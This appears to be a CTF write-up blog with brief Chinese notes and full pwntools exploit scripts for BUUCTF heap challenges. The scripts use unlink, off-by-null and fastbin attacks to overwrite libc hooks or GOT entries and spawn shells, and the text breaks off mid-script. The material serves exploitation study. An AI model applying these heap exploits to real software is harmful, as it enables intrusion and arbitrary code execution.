gdbscript = "" "      b *$rebase(0x11FF)     c     x/20xg $rebase(0x202060)     " ""     gdb.attach(io, gdbscript=gdbscript)    def debug_force():     global io     io.close ()     gdbscript = "" "      b *$rebase(0xe5c)     b *$rebase(0x1134)     c     x/0xg $rebase(0x202060)     x/10xg $rebase(0x202100)     x/xg $rebase(0x2021A0)     " ""     io=gdb.debug(elf_path,gdbscript=gdbscript) #0x1000  def add(size):     sla(b">> " , b"1" )     sla(b"Size: " ,str(size))      #清零了 def free(index):     sla(b">> " , b"2" )     sla(b"Index: " ,str(index)) # def show(index): #     sla(b">> " , b"3" ) #     sla(b"index> " ,str(index)) def edit(index,content):     sla(b">> " , b"3" )     sla(b"Index: " ,str(index))     sa(b"Content: " ,content)     # def convert_str_asmencode(content: str): #     out = ""  #     for  i in content: #         out = hex(ord(i))[2 :] + out #     out = "0x"  + out #     return  out #off by null ru(b"Mmap: " ) shellcode_addr=int (rld(),16 ) add(0x28 ) ru(b"chunk at [0] Pointer Address " ) ptr_addr=int (rld(),16 ) load_addr=ptr_addr-0x202068  add(0x4f8 ) edit(0 ,p64(0 )+p64(0x21 )+p64(ptr_addr-0x18 )+p64(ptr_addr-0x10 )+p64(0x20 )) add(0x18 ) free(1 ) edit(0 ,p64(0 )*2 +p64(0x500 )+p64(ptr_addr+0x8 )+b"\n" ) edit(0 ,p64(0x500 )+p64(shellcode_addr)+b"\n" ) edit(1 ,asm(shellcraft.sh())+b"\n" ) add(0x18 ) add(0x4f8 ) add(0x4f8 ) add(0x18 ) free(4 ) edit(2 ,p64(0 )*2 +p64(0x520 )) free(5 ) add(0x4f8 ) add(0x18 ) add(0x18 ) add(0x18 ) free(7 ) free(8 ) edit(0 ,p64(0 )*2 +p64(0x18 )+b"\xd0" +b"\n" ) edit(2 ,b"\x90\n" ) edit(5 ,b"\xe8\xa8\n" ) add(0x18 ) add(0x18 ) add(0x18 ) edit(8 ,p64(shellcode_addr)+b"\n" ) free(1 ) sl(b"ls" ) it() 
gwctf_2019_chunk https://buuoj.cn/challenges#gwctf_2019_chunk 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #0 ~255  def add(idx,size):     sla(b"Your choice: " , b"1" )     sla(b"me a book ID: " ,str(idx))     sla(b"how long: " ,str(size))      #清零了 def free(index):     sla(b"Your choice: " , b"3" )     sla(b"one to throw?\n" ,str(index)) def show(index):     sla(b"Your choice: " , b"2" )     sla(b"want to show" ,str(index)) #off by null def edit(index,content):     sla(b"Your choice: " , b"4" )     sla(b"book to write?" ,str(index))     sa(b"Content: " ,content)     add(0 ,0x88 ) add(1 ,0x68 ) add(2 ,0xf8 ) add(3 ,0x18 ) free(0 ) edit(1 ,b"a" *0x60 +p64(0x100 )) free(2 ) add(0 ,0x88 ) show(1 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f07d7715000 -0x7f07d7ad9b78  add(2 ,0x68 ) free(1 ) edit(2 ,p64(libc_base+libc.sym["__malloc_hook" ]-0x23 )+b"\n" ) add(1 ,0x68 ) add(4 ,0x68 ) edit(4 ,b"a" *(0x13 -8 )+p64(libc_base+one_gadget[3 ])+p64(libc_base+libc.sym["realloc" ]+2 )+b"\n" ) add(5 ,0x18 ) it() 
jarvisoj_level6 BUUCTF在线评测 (buuoj.cn) 
下面题目的x86版本,需要注意的就是size问题,unlink是ptr-12和ptr-4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./freenote_x86"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25857      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/20xw *0x804A2EC     " ""     gdb.attach(io, gdbscript=gdbscript) def add(content):     sla(b"Your choice: " , b"2" )     sla(b"Length of new note: " ,str(len(content)))     sa(b"Enter your note: " ,content) def free (index):     sla(b"Your choice: " , b"4" )     sla(b"Note number: " ,str(index)) def show():     sla(b"Your choice: " , b"1" ) def edit(index,content):     sla(b"Your choice: " , b"3" )     sla(b"Note number: " ,str(index))     sla(b"Length of note: " ,str(len(content)))     sa(b"Enter your note: " ,content) add(b"a" ) add(b"a" ) add(b"a" ) add(b"a" ) free (0 )add(b"a" ) show() ru(b"0. " ) libc_base=u32(ru(b"\xf7" ))+0xf7d5d000 -0xf7f0d761  free (2 )free (0 )add(b"a" *4 ) show() ru(b"0. aaaa" ) heap_addr=u32(r(4 )) free (0 )free (1 )ptr=heap_addr-0xc00  payload=p32(0 )+p32(0x109 )+p32(ptr-12 )+p32(ptr-8 ) add(payload) payload=p32(0 )*0x20 +p32(0x108 )+p32(0x88 )+p32(0 )*2  add(payload) free (2 )edit(0 ,p32(2 )+p32(1 )+p32(0x10 )+p32(ptr)) edit(0 ,p32(libc_base+next(libc.search(b"/bin/sh\0" )))+p32(1 )+p32(4 )+p32(libc_base+libc.sym["__free_hook" ])) edit(1 ,p32(libc_base+libc.sym["system" ])) free (0 )it() 
jarvisoj_guestbook2 BUUCTF在线评测 (buuoj.cn) 
题目的一些io处理是真的脑瘫,非常烦,而且malloc大小也有限制,必须是0x80的整数倍
返回给用户态的全部指向mem,但unlink要用到的假ptr必须是指向chunk,所以一般我们都需要在chunk里面伪造一个chunk,这样ptr就指向了假头
注意unsorted bin还有small bins分配的时候如果剩下的大小<MINISZIE,就会直接一起返回,不会切割出来,不然会切割
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./guestbook2"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =26763      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/20xg *0x6020A8     " ""     gdb.attach(io, gdbscript=gdbscript) def add(content):     sla(b"Your choice: " , b"2" )     sla(b"Length of new post: " ,str(len(content)))     sa(b"Enter your post: " ,content) def free (index):     sla(b"Your choice: " , b"4" )     sla(b"Post number: " ,str(index)) def show():     sla(b"Your choice: " , b"1" ) def edit(index,content):     sla(b"Your choice: " , b"3" )     sla(b"Post number: " ,str(index))     sla(b"Length of post: " ,str(len(content)))     sa(b"Enter your post: " ,content) add(b"a" )#0  add(b"a" )#1  add(b"a" )#2  add(b"a" )#3  free (2 )add(b"\n" )#2  show() ru(b"2. " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7fb369673000 -0x7fb369a37b0a  free (2 )free (0 )add(b"a" *8 )#0  show() ru(b"0. aaaaaaaa" ) heap_addr=u64(rld().ljust(8 ,b"\0" )) free (1 )free (0 )ptr=heap_addr-0x17f0  payload=p64(0 )+p64(0x111 )+p64(ptr-0x18 )+p64(ptr-0x10 ) add(payload) paylaod=p64(0 )*16 +p64(0x110 )+p64(0x90 ) add(paylaod) free (2 )edit(0 ,p64(2 )+p64(1 )+p64(0x20 )+p64(ptr)) edit(0 ,p64(libc_base+next(libc.search(b"/bin/sh\0" )))+p64(1 )+p64(0x8 )+p64(libc_base+libc.sym["__free_hook" ])) edit(1 ,p64(libc_base+libc.sym["system" ])) free (0 )it() exit (0 )
zctf_2016_note3 BUUCTF在线评测 (buuoj.cn) 
题目很简单,可以通过多分配堆直接修改掉bss保存的size,然后就是unlink就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./zctf_2016_note3"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =25697      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/9xg 0x6020C0     " ""     gdb.attach(io, gdbscript=gdbscript) #<=1024  def add(size,content):     sla(b"option--->>\n" , b"1" )     sla(b"ength of the note content:(less than 1024)\n" ,str(size))     sla(b"Input the note content:\n" ,content)    def free (index):     sla(b"option--->>\n" , b"4" )     sla(b"Input the id of the note:\n" ,str(index)) def edit(index,content):     sla(b"option--->>\n" , b"3" )     sla(b"Input the id of the note:\n" ,str(index))     sla(b"Input the new content:\n" ,content) add(0x28 ,b"a" ) add(0x18 ,b"a" ) add(0x88 ,b"a" ) add(0x18 ,b"/bin/sh\0" ) for  i in range(4 ,8 ):    add(0x18 ,b"a" *0x18 ) ptr=0x6020c8  edit(0 ,p64(0 )+p64(0x41 )+p64(ptr-0x18 )+p64(ptr-0x10 )+p64(0 )+p64(0x21 )+p64(0 )*2 +p64(0x40 )+p64(0x90 )) free (2 )edit(0 ,p64(0 )*3 +p64(ptr+8 )+p64(elf.got["free" ])+p32(elf.got["puts" ])) edit(1 ,p32(elf.plt['puts' ])+p8(0 )) free (2 )libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-libc.sym["puts" ] system_addr=libc_base+libc.sym["system" ] edit(1 ,p32(system_addr&0xffffffff )+p16((system_addr>>32 )&0xffff )) free (3 )it() 
zctf2016_note2 BUUCTF在线评测 (buuoj.cn) 
这个题目总体不难,大概也能猜到漏洞在哪里,就是因为是strcpy的原因,要考虑到\x00截断
这里+14是因为data从14开始,v5-strlen(dest)就是判断剩下还有多少空余,由于read函数里面的长度<v5所以一般的长度都不行,除了size0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 #!/usr/bin/python3 #  -*- coding: utf-8  -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./note2"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =29174      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x400F1C     c     x/xg  0x602160     x/4xg 0x602120     x/4xg 0x602140     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size,content):     sla(b"option--->>\n" , b"1" )     sla(b"Input the length of the note content:(less than 128)\n" ,str(size))     sla(b"Input the note content:\n" , content) def free (index: int ):     sla(b"option--->>\n" , b"4" )     sla(b"Input the id of the note:\n" , str(index).encode()) def show(index):      sla(b"option--->>\n" , b"2" )      sla(b"Input the id of the note:\n" ,str(index)) OVERWRITE=1  APPEND=2  def edit(index,chocie,content):     sla(b"option--->>\n" , b"3" )     sla(b"Input the id of the note:\n" ,str(index))     if  chocie==OVERWRITE:         sla(b"do you want to overwrite or append?[1.overwrite/2.append]\n" ,b"1" )     else :         sla(b"do you want to overwrite or append?[1.overwrite/2.append]\n" ,str(2 ))     sla(b"TheNewContents:" ,content) sla(b"Input your name:" ,b"a" ) sla(b"Input your address:\n" ,b"a" ) ptr=0x602120  add(0x28 ,p64(0 )+p64(0x41 )+p64(ptr-0x18 )+p64(ptr-0x10 )) add(0x0 ,b"" ) add(0x80 ,b"a" ) add(0x18 ,b"/bin/sh\0" ) edit(1 ,OVERWRITE,b"a" *0x18 +p8(0x90 )) for  i in range(6 ):    edit(1 ,OVERWRITE,b"a" *(0x18 -i-1 )) edit(1 ,OVERWRITE,b"a" *0x10 +p8(0x40 )) free (2 )edit(0 ,OVERWRITE,b"a" *0x18 +p64(ptr+0x8 )) edit(0 ,OVERWRITE,p64(elf.got["puts" ])) show(1 ) ru(b"Content is " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-libc.sym["puts" ] edit(0 ,OVERWRITE,p64(libc_base+libc.sym["__free_hook" ])) edit(1 ,OVERWRITE,p64(libc_base+libc.sym["system" ])) free (3 )it() 
pwnable_secret_of_my_heart https://buuoj.cn/challenges#pwnable_secret_of_my_heart 
比较简单的off by null题目,伪造一个chunk就好
但最后需要利用malloc跳到realloc然后用跳到realloc的位置来调节栈结构在修改realloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 def add (size: int , name: bytes, secret: bytes) :     sla (b"choice :" , b"1" )      sla (b"of heart : " , str(size).encode())      sa (b"Name of heart :" , name)      sa (b"secret of my heart :" , secret)  def free (index: int ) :     sla (b"choice :" , b"3" )      sla (b"Index :" , str(index).encode())  def show (index: int ) :     sla (b"choice :" , b"2" )      sla (b"Index :" , str(index).encode())  add (0x88 , b"a" , b"b" )   # 0add (0x18 , b"a"  * 32 , b"b" )   # 1add (0xF0 , b"a"  * 32 , b"b" )   # 2add (0x18 , b"a"  * 32 , b"b" )   # 3free (0 ) free (1 ) add (0x18 , b"a"  * 32 , b"a"  * 0x10  + p64(0xB0 ))   # 0free (2 ) add (0x88 , b"a" , b"b" )   # 1show (0 ) ru (b"cret : " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7F640CE62B78  + 0x7F640CA9E000  add(0x68 , b"a" , b"c" )  # 2  add(0x68 , b"c" , b"a" )  # 4  free (0 )free (4 )free (2 )malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] add(0x68 , b"a" , p64(malloc_hook_addr - 0x23 )) add(0x68 , b"a" , b"a" ) add(0x68 , b"a" , b"a" ) realloc_addr = libc_base + libc.sym["__libc_realloc" ] + 16  add(0x68 , b"a" , b"b"  * 11  + p64(0x4526A  + libc_base) + p64(realloc_addr)) sla(b"choice :" , b"1" ) sla(b"of heart : " , str(20 ).encode()) sa(b"Name of heart :" , b"a" ) it() 
qctf_2018_babyheap BUUCTF在线评测 
简单题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./QCTF_2018_babyheap"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 28069      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b       c     x/8xg  $rebase(0x202040)     " ""     gdb.attach(io, gdbscript=gdbscript) # off by null def add(size: int , content: bytes):     sa(b"choice :\n" , b"1" )     sa(b"Size: \n" , str(size).encode())     if  len(content) == size:         sa(b"Data: " , content)     else :         sla(b"Data: " , content) # def edit(index: int, content: bytes): #     sla(b"Choice: \n" , b"2" ) #     sa(b"Enter index: " , str(index).encode()) #     sa(b"Enter data: " , content) def free (index: int ):     sa(b"choice :\n" , b"2" )     sa(b"Index: \n" , str(index).encode()) def show():     sa(b"choice :\n" , b"3" ) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0x418 , b"a" ) add(0x18 , b"a" ) add(0x4F8 , b"a" ) add(0x18 , b"a" ) free (0 )free (1 )add(0x18 , p64(0 ) * 2  + p64(0x440 )) free (2 )add(0x418 , b"a" ) show() ru(b"0 : " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) + 0x7FA38FD37000  - 0x7FA390122CA0  add(0x18 , b"a" ) free (0 )free (2 )add(0x18 , p64(libc_base + libc.sym["__free_hook" ])) add(0x18 , b"/bin/sh\0" ) add(0x18 , p64(libc_base + libc.sym["system" ])) free (2 )it() 
cscctf_2019_qual_babyheap BUUCTF在线评测 
比较简单的unlink,堆块重叠
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./cscctf_2019_qual_babyheap"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25977      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b       c     x/10xg $rebase(0x2020A0)     " ""     gdb.attach(io, gdbscript=gdbscript) # <0x100 ,off by null def add(index: int , size: int , content: bytes):     sla(b">> " , b"1" )     sla(b"Index: " , str(index).encode())     sla(b"Size: " , str(size).encode())     sa(b"Content: " , content) # def edit(index: int, content: bytes): #     sla(b"Choice: \n" , b"2" ) #     sa(b"Enter index: " , str(index).encode()) #     sa(b"Enter data: " , content) # 清空了 def free (index: int ):     sla(b">> " , b"2" )     sla(b"Index: " , str(index).encode()) def show(index: int ):     sla(b">> " , b"3" )     sla(b"Index: " , str(index).encode()) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0 , 0xF8 , b"a" ) add(1 , 0x18 , b"a"  * 17 ) for  i in range(8 ):    add(i + 2 , 0xF8 , b"a" ) for  i in range(10 , 2 , -1 ):    free (i) free (1 )free (0 )add(1 , 0x18 , p64(0 ) * 2  + p64(0x120 )) free (2 )add(0 , 0x78 , b"a" ) add(2 , 0x78 , b"a" ) show(1 ) ru(b"content: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FF32C094CA0  + 0x7FF32BCA9000  add(3 , 0x18 , b"c" ) add(4 , 0x78 , b"a" ) add(5 , 0x78 , b"a" ) free (1 )free (3 )add(1 , 0x18 , p64(libc_base + libc.sym["__free_hook" ])) add(6 , 0x18 , b"/bin/sh\0" ) add(7 , 0x18 , p64(libc_base + libc.sym["system" ])) free (6 )# debug() it() exit (0 )free (0 )ptr = 0x602040  add(0x28 , p64(0 ) + p64(0x21 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0x20 )) free (1 )add(0x18 , b"a"  * 0x17 ) edit(0 , b"a"  * 0x18  + p64(ptr + 8 ) + p64(elf.got["puts" ])) show(1 ) ru(b"Data: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] free_hook_addr = libc_base + libc.sym["__free_hook" ] edit(0 , p64(free_hook_addr)) edit(1 , p64(libc_base + libc.sym["system" ])) add(0x18 , b"/bin/sh\0" ) free (2 )# debug() it() 
sitdtu2019_iz_heap_lv2 BUUCTF在线评测 
比较简单的off by null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./iz_heap_lv2"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25867      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b       c     x/10xg 0x602040     x/10xg 0x6020E0      " ""     gdb.attach(io, gdbscript=gdbscript) # 0 ~256  off by null def add(size: int , content: bytes):     sla(b"Choice: \n" , b"1" )     sa(b"Enter size: " , str(size).encode())     sa(b"Enter data: " , content) # off by null def edit(index: int , content: bytes):     sla(b"Choice: \n" , b"2" )     sa(b"Enter index: " , str(index).encode())     sa(b"Enter data: " , content) # 清空了 def free (index: int ):     sla(b"Choice: \n" , b"3" )     sa(b"Enter index: " , str(index).encode()) def show(index: int ):     sla(b"Choice: \n" , b"4" )     sa(b"Enter index: " , str(index).encode()) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0x28 , b"a"  * 18 ) for  i in range(8 ):    add(0xF8 , b"a" ) for  i in range(8 , 1 , -1 ):    free (i) free (0 )ptr = 0x602040  add(0x28 , p64(0 ) + p64(0x21 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0x20 )) free (1 )add(0x18 , b"a"  * 0x17 ) edit(0 , b"a"  * 0x18  + p64(ptr + 8 ) + p64(elf.got["puts" ])) show(1 ) ru(b"Data: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] free_hook_addr = libc_base + libc.sym["__free_hook" ] edit(0 , p64(free_hook_addr)) edit(1 , p64(libc_base + libc.sym["system" ])) add(0x18 , b"/bin/sh\0" ) free (2 )# debug() it() 
suctf2018_heap BUUCTF在线评测 
题目出题比较奇怪,多了一个类似于缓存的
这个题目主要就是off by one比较奇特,如果我们把堆填满了,就不能用strlen来判断大小,不然会算上下一个块的大小,导致可以任意修改下一个块的大小,其他的都差不太多,这里不能改malloc_hook,只能改got
所以千万不能用strlen(chunk)内容来判断长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./offbyone"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 29014      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b       c     x/10xg 0x06020C0     " ""     gdb.attach(io, gdbscript=gdbscript) # 0x80 ~0x100  def add(size: int , content: bytes):     sa(b"4:edit\n" , b"1" )     sa(b"input len\n" , str(size).encode())     sa(b"input your data\n" , content) def edit(index: int , content: bytes):     sa(b"4:edit\n" , b"4" )     sa(b"input id\n" , str(index).encode())     sa(b"input your data\n" , content) # 清空了 def free (index: int ):     sa(b"4:edit\n" , b"2" )     sa(b"input id\n" , str(index).encode()) def show(index: int ):     sa(b"4:edit\n" , b"3" )     sa(b"input id\n" , str(index).encode()) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0x98 , b"a"  * 0x98 ) add(0x98 , b"a"  * 0x98 ) add(0x98 , b"a"  * 0x98 ) add(0x88 , b"a"  * 0x88 ) for  i in range(7 ):    add(0x88 , b"a"  * 0x88 ) for  i in range(10 , 4 , -1 ):    free (i) ptr = 0x6020D8  edit(     3 ,     p64(0 )     + p64(0x80 )     + p64(ptr - 0x18 )     + p64(ptr - 0x10 )     + p64(0 ) * 12      + p64(0x80 )     + b"\x90" , ) free (4 )add(0x88 , b"A" ) edit(3 , p64(elf.got["puts" ])) show(0 ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] edit(3 , p64(elf.got["atoi" ])) ru(b"4:edit\n" ) sa(b"4:edit\n" , b"4" ) sa(b"input id\n" , str(0 ).encode()) sa(b"input your data\n" , p64(libc_base + libc.sym["system" ])) s(b"/bin/sh\0" ) it() 
qctf_2018_noleak BUUCTF在线评测 
很巧妙的题目,main_arena和__malloc_hook地址只有最后p8不一样,可以直接修改不需要爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./QCTF_2018_NoLeak"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in 